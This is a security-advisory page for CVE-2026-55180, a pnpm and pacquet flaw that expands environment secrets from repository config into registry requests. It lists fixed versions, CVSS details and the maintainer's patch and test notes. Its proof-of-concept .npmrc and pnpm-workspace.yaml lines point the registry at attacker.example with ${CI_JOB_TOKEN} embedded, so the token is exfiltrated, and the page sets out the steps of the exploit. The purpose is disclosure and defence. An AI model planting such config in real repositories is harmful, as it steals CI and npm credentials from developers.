CVE-2026-55180: pnpm Repository Config Can Expand Victim Vulnerability

MODERATE
Advisory Identifier: GHSA-3qhv-2rgh-x77r
CVSS 6.5
CWE-522 CWE-200 CWE-201
Published
Advisory Summary

CVE-2026-55180 is a MODERATE (CVSS 6.5) repository config can expand victim vulnerability (CWE-522: Insufficiently Protected Credentials) affecting pnpm libraries in the npm ecosystem. The issue involves repository config can expand victim environment secrets into registry requests before scripts run. Remediation is available by upgrading affected packages to version 10.34.2, 11.5.3.

CVE-2026-55180 at a Glance

CVE Identifier CVE-2026-55180
GHSA Identifier GHSA-3qhv-2rgh-x77r
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-522: Insufficiently Protected Credentials
Affected Product pnpm
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-55180

To remediate this vulnerability, upgrade all affected pnpm dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pnpm fixed: 10.34.2
npm install pnpm@10.34.2
pnpm fixed: 11.5.3
npm install pnpm@11.5.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls pnpm

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-55180, inspect your project dependencies using npm:

npm ls pnpm

Analyze the terminal output to locate any version of pnpm in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 10.34.2), your application is affected.

Note: The npm ls pnpm command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-522: Insufficiently Protected Credentials, where the product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval. In pnpm, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

<!-- maintainer-action:start --> ## Maintainer Action Plan This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path. - Advisory: `CAND-PNPM-122` / `GHSA-3qhv-2rgh-x77r` - Advisory URL: https://github.com/pnpm/pnpm/security/advisories/GHSA-3qhv-2rgh-x77r - Shared patch PR: https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1 - Shared patch branch: `security/ghsa-batch-2026-06-09` - Patch commit: `a93449314f398cf4bdf2e28d033c02d37395ad22` - Base commit: `origin/main` `55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec` - Maintainer priority: `start-here` - Component: `pnpm config/env replacement and registry auth` - Patch area: project .npmrc env placeholders are not expanded into registry/auth destinations - Affected packages: `npm:pnpm`, `npm:@pnpm/config.reader`, `rust:pacquet` - CWE IDs: `CWE-201`, `CWE-200`, `CWE-522` - Conservative CVSS: `6.5` / `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N` - Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory. ### Expected Patched Behavior Project `.npmrc` environment placeholders do not expand into registry or auth destinations; the secret is absent from the request URL and auth header. ### Files And Tests To Review - `config/reader/src/loadNpmrcFiles.ts` - `config/reader/src/getOptionsFromRootManifest.ts` - `config/reader/test/index.ts` - `config/reader/test/getOptionsFromRootManifest.test.ts` - `pacquet/crates/config/src/npmrc_auth.rs` - `pacquet/crates/config/src/npmrc_auth/tests.rs` - `pacquet/crates/config/src/workspace_yaml.rs` - `pacquet/crates/config/src/workspace_yaml/tests.rs` - `.changeset/sharp-registry-env-placeholders.md` ### Focused Validation Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed. ```bash ./node_modules/.bin/tsgo --build config/reader/tsconfig.json NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/getOptionsFromRootManifest.test.ts --runInBand NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts -t "project \.npmrc does not expand env variables in registry URLs|project \.npmrc does not expand env variables in scoped registry URLs or URL-scoped keys|project \.npmrc does not expand env variables in auth values|user \.npmrc may expand env variables in registry URLs|drops the placeholder when the env var is unset|substitutes normally when the env var is set|only drops the unresolved placeholder|explicit .*undefined.* fallbacks|pnpm-workspace\.yaml registries do not expand env variables|return a warning when the \.npmrc has an env variable" --runInBand ./node_modules/.bin/eslint config/reader/src/loadNpmrcFiles.ts config/reader/src/getOptionsFromRootManifest.ts config/reader/test/index.ts config/reader/test/getOptionsFromRootManifest.test.ts cargo fmt --manifest-path pacquet/crates/config/Cargo.toml --check cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_registry_urls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_scoped_registry_urls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_url_scoped_keys --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_auth_values --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml trusted_ini_expands_env_placeholders_in_registry_urls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml ignores_env_vars_inside_workspace_registry_values --lib git diff --check cargo fmt --check ``` The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is `results/CAND-PNPM-122-patched-result.json`. <!-- maintainer-action:end --> # CAND-PNPM-122: Repository config can expand victim environment secrets into registry requests before scripts run ## Advisory Details ### Summary pnpm and pacquet expanded `${ENV_VAR}` placeholders from repository-controlled `.npmrc` and `pnpm-workspace.yaml` into registry request destinations and registry credentials. A malicious repository could cause dependency resolution to send victim environment secrets to an attacker-selected registry before lifecycle scripts run. ### Details The vulnerable TypeScript pnpm path was: - `config/reader/src/loadNpmrcFiles.ts` loaded project `.npmrc` and substituted environment placeholders in keys and values. - `config/reader/src/getOptionsFromRootManifest.ts` substituted environment placeholders inside workspace `registry`, `registries`, and `namedRegistries` settings. - `config/reader/src/index.ts` merged those expanded registry/auth values into `pnpmConfig.registries`, `pnpmConfig.authConfig`, and `pnpmConfig.configByUri`. - `resolving/npm-resolver/src/fetch.ts` built metadata request URLs from the selected registry. - `network/fetch/src/fetchFromRegistry.ts` dispatched the request and attached matching auth headers before install lifecycle scripts could run. The pacquet parity path was: - `pacquet/crates/config/src/npmrc_auth.rs` expanded project `.npmrc` placeholders while parsing registry URLs and auth values. - `pacquet/crates/config/src/workspace_yaml.rs` expanded workspace registry placeholders. - `pacquet/crates/resolving-npm-resolver/src/fetch_full_metadata.rs` used the configured registry URL and `AuthHeaders` for metadata fetches. ### PoC Repository `.npmrc` URL-path exfiltration: ```ini registry=https://attacker.example/${CI_JOB_TOKEN}/ ``` Repository `.npmrc` auth-header exfiltration: ```ini registry=https://attacker.example/ //attacker.example/:_authToken=${CI_JOB_TOKEN} ``` Repository `pnpm-workspace.yaml` URL-path exfiltration: ```yaml registries: default: https://attacker.example/${CI_JOB_TOKEN}/ namedRegistries: work: https://attacker.example/${CI_JOB_TOKEN}/npm/ ``` Exploit method: 1. The victim checks out the repository and runs a pnpm or pacquet dependency-management command with `CI_JOB_TOKEN` or another sensitive environment variable present. 2. Before the patch, repository config expanded the placeholder to the victim secret. 3. The resolver used the expanded registry or matching auth entry to construct a metadata request. 4. The victim sent a request such as `https://attacker.example/<secret>/<package>` or `Authorization: Bearer <secret>` to the attacker-controlled endpoint. Validation PoC: The PoC models the pre-patch URL and Authorization-header leaks, then verifies that patched pnpm and pacquet do not keep the secret in repository-controlled registry destinations or credential values. ### Impact A malicious repository can disclose environment secrets present in a developer or CI process to a repository-selected registry before script controls apply. This can expose npm tokens, CI job tokens, OIDC helper inputs, or other conventional environment secrets if the attacker knows or guesses their names. ## Affected Products Ecosystem: npm Package name: `pnpm`, `@pnpm/config.reader`; pacquet Rust port Affected versions: current main before this patch, when project `.npmrc` or `pnpm-workspace.yaml` contains environment placeholders in registry request destinations or project `.npmrc` contains environment placeholders in registry credential values. Patched versions: pending release containing this patch. ## Severity Severity before patch: High Vector string before patch: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N` Score before patch: 7.4 Severity after patch: None Vector string after patch: not vulnerable after patch Score after patch: 0.0 Rationale: exploitation is remote and low complexity once a victim runs pnpm or pacquet in the malicious repository. No attacker privileges are required, but user interaction is required. The demonstrated sink is secret disclosure through outbound registry requests, not arbitrary code execution, so confidentiality is high while integrity and availability are not directly impacted by this finding. After the patch, repository-controlled registry destinations and credential values containing env placeholders are ignored, while trusted user/global/auth.ini/CLI config still expands. ## Weaknesses CWE-201: Insertion of Sensitive Information Into Sent Data CWE-200: Exposure of Sensitive Information to an Unauthorized Actor CWE-522: Insufficiently Protected Credentials ## Patch The patch makes environment expansion trust-aware for registry requests: - Project `.npmrc` no longer expands `${...}` in `registry`, `@scope:registry`, proxy URL values, URL-scoped keys such as `//host/${SECRET}/:_authToken`, or registry credential values such as `//host/:_authToken=${SECRET}` and `_authToken=${SECRET}`. - User `.npmrc`, auth.ini, CLI, global, and environment config still support env expansion for trusted registry configuration. - `pnpm-workspace.yaml` no longer expands `${...}` in `registry`, `registries`, or `namedRegistries` URL values. - Trusted user-level auth values such as `//registry.npmjs.org/:_authToken=${NODE_AUTH_TOKEN}` still expand or lossy-drop as before, preserving setup-node and OIDC trusted-publishing behavior when the `.npmrc` is supplied as user config. - Pacquet mirrors the same boundary with `from_project_ini()` for project `.npmrc` and workspace registry filtering. Changed files: - `config/reader/src/loadNpmrcFiles.ts` - `config/reader/src/getOptionsFromRootManifest.ts` - `config/reader/test/index.ts` - `config/reader/test/getOptionsFromRootManifest.test.ts` - `pacquet/crates/config/src/npmrc_auth.rs` - `pacquet/crates/config/src/npmrc_auth/tests.rs` - `pacquet/crates/config/src/workspace_yaml.rs` - `pacquet/crates/config/src/workspace_yaml/tests.rs` Changeset: - `.changeset/sharp-registry-env-placeholders.md` Pacquet parity: Ported in the same patch. Pacquet dependency-management commands now parse project `.npmrc` with request-destination and credential-value env expansion disabled, and drop workspace registry values containing `${...}` placeholders. ## Verification Post-patch validation: The PoC ran: ```bash ./node_modules/.bin/tsgo --build config/reader/tsconfig.json NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/getOptionsFromRootManifest.test.ts --runInBand NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts -t "project \.npmrc does not expand env variables in registry URLs|project \.npmrc does not expand env variables in scoped registry URLs or URL-scoped keys|project \.npmrc does not expand env variables in auth values|user \.npmrc may expand env variables in registry URLs|drops the placeholder when the env var is unset|substitutes normally when the env var is set|only drops the unresolved placeholder|explicit .*undefined.* fallbacks|pnpm-workspace\.yaml registries do not expand env variables|return a warning when the \.npmrc has an env variable" --runInBand ./node_modules/.bin/eslint config/reader/src/loadNpmrcFiles.ts config/reader/src/getOptionsFromRootManifest.ts config/reader/test/index.ts config/reader/test/getOptionsFromRootManifest.test.ts cargo fmt --manifest-path pacquet/crates/config/Cargo.toml --check cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_registry_urls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_scoped_registry_urls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_url_scoped_keys --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_auth_values --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml trusted_ini_expands_env_placeholders_in_registry_urls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml ignores_env_vars_inside_workspace_registry_values --lib git diff --check ``` Results: - PoC pre-patch model showed `cand122-ci-job-token` in both a request URL and a bearer auth header. - TypeScript build for `config.reader`: passed. - Focused root-manifest tests: 8 passed, including workspace registry and named-registry placeholder denial. - Focused config-reader integration tests: 10 passed, covering project `.npmrc` default registry denial, scoped registry denial, URL-scoped-key denial, project auth-value denial, trusted user `.npmrc` registry expansion, trusted user auth-value expansion/lossy fallback, and workspace registry denial. - `cargo fmt --check`: passed. - Focused pacquet tests: 6 passed, covering project `.npmrc` registry denial, scoped registry denial, URL-scoped-key denial, auth-value denial, trusted `.npmrc` registry expansion, and workspace YAML denial. - `git diff --check`: passed. ## CVSS Reassessment The initial scan score used a repository-code-execution vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` (8.8 High) The PoC and source trace showed this finding is direct secret disclosure through registry request URLs or Authorization headers, not a code execution path. The corrected vulnerable vector is: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N` Corrected vulnerable score: 7.4 High. Final score after patch: 0.0.

CVE-2026-55180 Affected pnpm Versions

2 component(s)
Fixed Versions:
10.34.211.5.3
Product / Package Ecosystem Affected Versions Fixed Version
pnpm
npm
< 10.34.2
10.34.2
pnpm
npm
≥ 11.0.0
< 11.5.3
11.5.3

References

Frequently Asked Questions

What is CVE-2026-55180?
CVE-2026-55180 is a security vulnerability in pnpm involving Repository config can expand victim environment secrets into registry requests before scripts run under CWE-522: Insufficiently Protected Credentials.
Which pnpm versions are affected?
Affected versions include releases prior to 10.34.2, 11.5.3 across affected packages: pnpm.
What version fixes CVE-2026-55180?
Upgrading to 10.34.2, 11.5.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is pnpm affected?
Yes, pnpm is affected in releases prior to 10.34.2, 11.5.3. Upgrade your dependency to 10.34.2, 11.5.3 or later.
What is the CVSS score of CVE-2026-55180?
CVE-2026-55180 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-55180?
CVE-2026-55180 is classified under CWE-522: Insufficiently Protected Credentials (The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.).
How can I check npm dependencies for CVE-2026-55180?
Run the dependency tree command: 'npm ls pnpm'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3qhv-2rgh-x77r",
  "modified" : "2026-06-26T23:12:25Z",
  "published" : "2026-06-26T23:12:25Z",
  "aliases" : [ "CVE-2026-55180" ],
  "summary" : "pnpm: Repository config can expand victim environment secrets into registry requests before scripts run",
  "details" : "<!-- maintainer-action:start -->\n## Maintainer Action Plan\n\nThis report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path.\n\n- Advisory: `CAND-PNPM-122` / `GHSA-3qhv-2rgh-x77r`\n- Advisory URL: https://github.com/pnpm/pnpm/security/advisories/GHSA-3qhv-2rgh-x77r\n- Shared patch PR: https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1\n- Shared patch branch: `security/ghsa-batch-2026-06-09`\n- Patch commit: `a93449314f398cf4bdf2e28d033c02d37395ad22`\n- Base commit: `origin/main` `55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec`\n- Maintainer priority: `start-here`\n- Component: `pnpm config/env replacement and registry auth`\n- Patch area: project .npmrc env placeholders are not expanded into registry/auth destinations\n- Affected packages: `npm:pnpm`, `npm:@pnpm/config.reader`, `rust:pacquet`\n- CWE IDs: `CWE-201`, `CWE-200`, `CWE-522`\n- Conservative CVSS: `6.5` / `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N`\n- Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory.\n\n### Expected Patched Behavior\n\nProject `.npmrc` environment placeholders do not expand into registry or auth destinations; the secret is absent from the request URL and auth header.\n\n### Files And Tests To Review\n\n- `config/reader/src/loadNpmrcFiles.ts`\n- `config/reader/src/getOptionsFromRootManifest.ts`\n- `config/reader/test/index.ts`\n- `config/reader/test/getOptionsFromRootManifest.test.ts`\n- `pacquet/crates/config/src/npmrc_auth.rs`\n- `pacquet/crates/config/src/npmrc_auth/tests.rs`\n- `pacquet/crates/config/src/workspace_yaml.rs`\n- `pacquet/crates/config/src/workspace_yaml/tests.rs`\n- `.changeset/sharp-registry-env-placeholders.md`\n\n### Focused Validation\n\nRun these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed.\n\n```bash\n./node_modules/.bin/tsgo --build config/reader/tsconfig.json\nNODE_OPTIONS=\"--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169\" ../../node_modules/.bin/jest test/getOptionsFromRootManifest.test.ts --runInBand\nNODE_OPTIONS=\"--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169\" ../../node_modules/.bin/jest test/index.ts -t \"project \\.npmrc does not expand env variables in registry URLs|project \\.npmrc does not expand env variables in scoped registry URLs or URL-scoped keys|project \\.npmrc does not expand env variables in auth values|user \\.npmrc may expand env variables in registry URLs|drops the placeholder when the env var is unset|substitutes normally when the env var is set|only drops the unresolved placeholder|explicit .*undefined.* fallbacks|pnpm-workspace\\.yaml registries do not expand env variables|return a warning when the \\.npmrc has an env variable\" --runInBand\n./node_modules/.bin/eslint config/reader/src/loadNpmrcFiles.ts config/reader/src/getOptionsFromRootManifest.ts config/reader/test/index.ts config/reader/test/getOptionsFromRootManifest.test.ts\ncargo fmt --manifest-path pacquet/crates/config/Cargo.toml --check\ncargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_registry_urls --lib\ncargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_scoped_registry_urls --lib\ncargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_url_scoped_keys --lib\ncargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_auth_values --lib\ncargo test --manifest-path pacquet/crates/config/Cargo.toml trusted_ini_expands_env_placeholders_in_registry_urls --lib\ncargo test --manifest-path pacquet/crates/config/Cargo.toml ignores_env_vars_inside_workspace_registry_values --lib\ngit diff --check\ncargo fmt --check\n```\n\nThe full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is `results/CAND-PNPM-122-patched-result.json`.\n<!-- maintainer-action:end -->\n\n# CAND-PNPM-122: Repository config can expand victim environment secrets into registry requests before scripts run\n\n## Advisory Details\n\n### Summary\n\npnpm and pacquet expanded `${ENV_VAR}` placeholders from repository-controlled `.npmrc` and `pnpm-workspace.yaml` into registry request destinations and registry credentials. A malicious repository could cause dependency resolution to send victim environment secrets to an attacker-selected registry before lifecycle scripts run.\n\n### Details\n\nThe vulnerable TypeScript pnpm path was:\n\n- `config/reader/src/loadNpmrcFiles.ts` loaded project `.npmrc` and substituted environment placeholders in keys and values.\n- `config/reader/src/getOptionsFromRootManifest.ts` substituted environment placeholders inside workspace `registry`, `registries`, and `namedRegistries` settings.\n- `config/reader/src/index.ts` merged those expanded registry/auth values into `pnpmConfig.registries`, `pnpmConfig.authConfig`, and `pnpmConfig.configByUri`.\n- `resolving/npm-resolver/src/fetch.ts` built metadata request URLs from the selected registry.\n- `network/fetch/src/fetchFromRegistry.ts` dispatched the request and attached matching auth headers before install lifecycle scripts could run.\n\nThe pacquet parity path was:\n\n- `pacquet/crates/config/src/npmrc_auth.rs` expanded project `.npmrc` placeholders while parsing registry URLs and auth values.\n- `pacquet/crates/config/src/workspace_yaml.rs` expanded workspace registry placeholders.\n- `pacquet/crates/resolving-npm-resolver/src/fetch_full_metadata.rs` used the configured registry URL and `AuthHeaders` for metadata fetches.\n\n### PoC\n\nRepository `.npmrc` URL-path exfiltration:\n\n```ini\nregistry=https://attacker.example/${CI_JOB_TOKEN}/\n```\n\nRepository `.npmrc` auth-header exfiltration:\n\n```ini\nregistry=https://attacker.example/\n//attacker.example/:_authToken=${CI_JOB_TOKEN}\n```\n\nRepository `pnpm-workspace.yaml` URL-path exfiltration:\n\n```yaml\nregistries:\n  default: https://attacker.example/${CI_JOB_TOKEN}/\nnamedRegistries:\n  work: https://attacker.example/${CI_JOB_TOKEN}/npm/\n```\n\nExploit method:\n\n1. The victim checks out the repository and runs a pnpm or pacquet dependency-management command with `CI_JOB_TOKEN` or another sensitive environment variable present.\n2. Before the patch, repository config expanded the placeholder to the victim secret.\n3. The resolver used the expanded registry or matching auth entry to construct a metadata request.\n4. The victim sent a request such as `https://attacker.example/<secret>/<package>` or `Authorization: Bearer <secret>` to the attacker-controlled endpoint.\n\nValidation PoC:\n\nThe PoC models the pre-patch URL and Authorization-header leaks, then verifies that patched pnpm and pacquet do not keep the secret in repository-controlled registry destinations or credential values.\n\n### Impact\n\nA malicious repository can disclose environment secrets present in a developer or CI process to a repository-selected registry before script controls apply. This can expose npm tokens, CI job tokens, OIDC helper inputs, or other conventional environment secrets if the attacker knows or guesses their names.\n\n## Affected Products\n\nEcosystem: npm\n\nPackage name: `pnpm`, `@pnpm/config.reader`; pacquet Rust port\n\nAffected versions: current main before this patch, when project `.npmrc` or `pnpm-workspace.yaml` contains environment placeholders in registry request destinations or project `.npmrc` contains environment placeholders in registry credential values.\n\nPatched versions: pending release containing this patch.\n\n## Severity\n\nSeverity before patch: High\n\nVector string before patch: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N`\n\nScore before patch: 7.4\n\nSeverity after patch: None\n\nVector string after patch: not vulnerable after patch\n\nScore after patch: 0.0\n\nRationale: exploitation is remote and low complexity once a victim runs pnpm or pacquet in the malicious repository. No attacker privileges are required, but user interaction is required. The demonstrated sink is secret disclosure through outbound registry requests, not arbitrary code execution, so confidentiality is high while integrity and availability are not directly impacted by this finding. After the patch, repository-controlled registry destinations and credential values containing env placeholders are ignored, while trusted user/global/auth.ini/CLI config still expands.\n\n## Weaknesses\n\nCWE-201: Insertion of Sensitive Information Into Sent Data\n\nCWE-200: Exposure of Sensitive Information to an Unauthorized Actor\n\nCWE-522: Insufficiently Protected Credentials\n\n## Patch\n\nThe patch makes environment expansion trust-aware for registry requests:\n\n- Project `.npmrc` no longer expands `${...}` in `registry`, `@scope:registry`, proxy URL values, URL-scoped keys such as `//host/${SECRET}/:_authToken`, or registry credential values such as `//host/:_authToken=${SECRET}` and `_authToken=${SECRET}`.\n- User `.npmrc`, auth.ini, CLI, global, and environment config still support env expansion for trusted registry configuration.\n- `pnpm-workspace.yaml` no longer expands `${...}` in `registry`, `registries`, or `namedRegistries` URL values.\n- Trusted user-level auth values such as `//registry.npmjs.org/:_authToken=${NODE_AUTH_TOKEN}` still expand or lossy-drop as before, preserving setup-node and OIDC trusted-publishing behavior when the `.npmrc` is supplied as user config.\n- Pacquet mirrors the same boundary with `from_project_ini()` for project `.npmrc` and workspace registry filtering.\n\nChanged files:\n\n- `config/reader/src/loadNpmrcFiles.ts`\n- `config/reader/src/getOptionsFromRootManifest.ts`\n- `config/reader/test/index.ts`\n- `config/reader/test/getOptionsFromRootManifest.test.ts`\n- `pacquet/crates/config/src/npmrc_auth.rs`\n- `pacquet/crates/config/src/npmrc_auth/tests.rs`\n- `pacquet/crates/config/src/workspace_yaml.rs`\n- `pacquet/crates/config/src/workspace_yaml/tests.rs`\n\nChangeset:\n\n- `.changeset/sharp-registry-env-placeholders.md`\n\nPacquet parity:\n\nPorted in the same patch. Pacquet dependency-management commands now parse project `.npmrc` with request-destination and credential-value env expansion disabled, and drop workspace registry values containing `${...}` placeholders.\n\n## Verification\n\nPost-patch validation:\n\nThe PoC ran:\n\n```bash\n./node_modules/.bin/tsgo --build config/reader/tsconfig.json\nNODE_OPTIONS=\"--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169\" ../../node_modules/.bin/jest test/getOptionsFromRootManifest.test.ts --runInBand\nNODE_OPTIONS=\"--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169\" ../../node_modules/.bin/jest test/index.ts -t \"project \\.npmrc does not expand env variables in registry URLs|project \\.npmrc does not expand env variables in scoped registry URLs or URL-scoped keys|project \\.npmrc does not expand env variables in auth values|user \\.npmrc may expand env variables in registry URLs|drops the placeholder when the env var is unset|substitutes normally when the env var is set|only drops the unresolved placeholder|explicit .*undefined.* fallbacks|pnpm-workspace\\.yaml registries do not expand env variables|return a warning when the \\.npmrc has an env variable\" --runInBand\n./node_modules/.bin/eslint config/reader/src/loadNpmrcFiles.ts config/reader/src/getOptionsFromRootManifest.ts config/reader/test/index.ts config/reader/test/getOptionsFromRootManifest.test.ts\ncargo fmt --manifest-path pacquet/crates/config/Cargo.toml --check\ncargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_registry_urls --lib\ncargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_scoped_registry_urls --lib\ncargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_url_scoped_keys --lib\ncargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_auth_values --lib\ncargo test --manifest-path pacquet/crates/config/Cargo.toml trusted_ini_expands_env_placeholders_in_registry_urls --lib\ncargo test --manifest-path pacquet/crates/config/Cargo.toml ignores_env_vars_inside_workspace_registry_values --lib\ngit diff --check\n```\n\nResults:\n\n- PoC pre-patch model showed `cand122-ci-job-token` in both a request URL and a bearer auth header.\n- TypeScript build for `config.reader`: passed.\n- Focused root-manifest tests: 8 passed, including workspace registry and named-registry placeholder denial.\n- Focused config-reader integration tests: 10 passed, covering project `.npmrc` default registry denial, scoped registry denial, URL-scoped-key denial, project auth-value denial, trusted user `.npmrc` registry expansion, trusted user auth-value expansion/lossy fallback, and workspace registry denial.\n- `cargo fmt --check`: passed.\n- Focused pacquet tests: 6 passed, covering project `.npmrc` registry denial, scoped registry denial, URL-scoped-key denial, auth-value denial, trusted `.npmrc` registry expansion, and workspace YAML denial.\n- `git diff --check`: passed.\n\n## CVSS Reassessment\n\nThe initial scan score used a repository-code-execution vector:\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` (8.8 High)\n\nThe PoC and source trace showed this finding is direct secret disclosure through registry request URLs or Authorization headers, not a code execution path. The corrected vulnerable vector is:\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N`\n\nCorrected vulnerable score: 7.4 High.\n\nFinal score after patch: 0.0.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "pnpm"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "10.34.2"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "pnpm"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "11.0.0"
      }, {
        "fixed" : "11.5.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pnpm/pnpm/security/advisories/GHSA-3qhv-2rgh-x77r"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-55180"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pnpm/pnpm"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200", "CWE-201", "CWE-522" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-26T23:12:25Z",
    "nvd_published_at" : "2026-06-25T18:16:40Z"
  }
}